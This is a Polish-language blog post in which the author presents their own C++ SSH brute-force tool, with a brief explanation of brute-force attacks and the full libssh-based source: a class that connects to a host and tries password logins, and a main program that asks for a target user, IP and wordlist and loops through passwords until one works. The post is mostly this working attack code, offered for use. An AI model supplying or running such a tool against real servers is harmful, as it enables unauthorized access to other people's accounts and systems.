SSH Bruteforce w C++

Mar 11 2023
Wprowadzenie Witam w moim nowym artykule, dzisiaj pokażę wam mój skrypt C++ do wykonywania ataków SSH Brute Force. Co to jest brutalne wymuszanie? Informacje: Atak siłowy to metoda hakerska polegająca na próbach i błędach w celu złamania haseł, danych logowania i kluczy szyfrujących.

Wstęp

Witam w moim nowym artykule, dzisiaj pokażę wam mój skrypt C++ do wykonywania ataków SSH Brute Force.

Co to jest brutalne wymuszanie?

Informacje przez:

Atak siłowy to metoda hakerska polegająca na próbach i błędach w celu złamania haseł, danych logowania i kluczy szyfrujących. Jest to prosta, ale niezawodna taktyka uzyskiwania nieautoryzowanego dostępu do indywidualnych kont oraz systemów i sieci organizacji. Haker wypróbowuje wiele nazw użytkownika i haseł, często używając komputera do testowania szerokiej gamy kombinacji, dopóki nie znajdzie poprawnych danych logowania.

Nazwa „brute force” pochodzi od atakujących, którzy stosują nadmiernie forsowne próby uzyskania dostępu do kont użytkowników. Pomimo tego, że jest to stara metoda cyberataku, ataki siłowe są wypróbowywane i testowane i pozostają popularną taktyką wśród hakerów.

W tym wcześniej opublikowanym artykule przedstawiłem krótki przegląd Hydry i jej działania w przypadku brutalnego wymuszania SSH:

Hydra — BruteForce

Kod

To dobry moment, aby zobaczyć kod, którego użyłem do ataku na serwery SSH za pomocą C++. Poniżej znajduje się fragment pliku klasy dla tego PoC:

#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"

using namespace std;
class SSHHost{
    public:
        string ip;
        string user;
SSHHost(string ip,string user){
            this->ip = ip;
            this->user = user;
        }
ssh_session SSHConnection(string ip, string user){
            yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
            ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
            if (rc != SSH_OK){
                red("\nServer connection unsuccesfull\n");
                cout<<"Error: "<<ssh_get_error(session) << endl;
            }
            else if(rc == 0){
                green("\nServer connection succesfull\n");
                return session;
            }
        }
int SSHAuth(ssh_session session,string user,string password){
            // Authentication
            int rc;
            rc = ssh_userauth_password(session, user.c_str(), password.c_str());
            if (rc != SSH_AUTH_SUCCESS){
            }
            else if (rc ==  SSH_AUTH_SUCCESS) {
                green("Authentication Completed with password: ");
                cout<<password<<"\n";
            }
            return rc;
        }
    
};

#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;

int main(){
    ssh_session session;
    int check;
    string ip;
    string user;
    string file;
    cout<<"Put the user to attack: ";
    cin>>user;
    cout<<"Put the IP of SSH Server to attack: ";   
    cin>>ip;
    cout<<"Put the Path of Wordlist File: ";
    cin>>file;
    vector<string> passwords = readPasswordsFromFile(file);
    SSHHost ssh_host(ip,user);
    session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
    for (int i = 0; i < passwords.size(); i++) {
        cout<<passwords[i]<<"\n";
    }
    for (int i = 0; i < passwords.size(); i++) {
        
        check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
        if(check == SSH_AUTH_SUCCESS){
            ssh_disconnect(session);
            break;
        }}
    return 0;
}

Główny plik żąda informacji o użytkowniku i adresie IP do ataku, a następnie wykonuje inne funkcje.

Pozostałe funkcje znajdują się w pliku klasy SSHHost i mają dwa atrybuty, użytkownika i adres IP.

Następnie przygotuj metodę konstruktora, metody SSHConnection i SSHAuth . SSHConnection zwraca sesję, która używała SSHAuth .

PoC

Uruchom skrypt i odpowiednio zareaguj na monity użytkownika:

Kroki zawarte w tej metodzie ataku są bardzo łatwe do powtórzenia i są prawidłową metodą ataku we współczesnym cyberświecie.

Powyższe dane wyjściowe pokazują odkryte hasło, wskazujące na udany atak brute-force…

Wnioski

To jeden z moich pierwszych ofensywnych skryptów wykorzystujących klasy i obiekty. Dziękuję za przeczytanie mojego artykułu. Mam nadzieję, że podobała Ci się zawartość!

S12.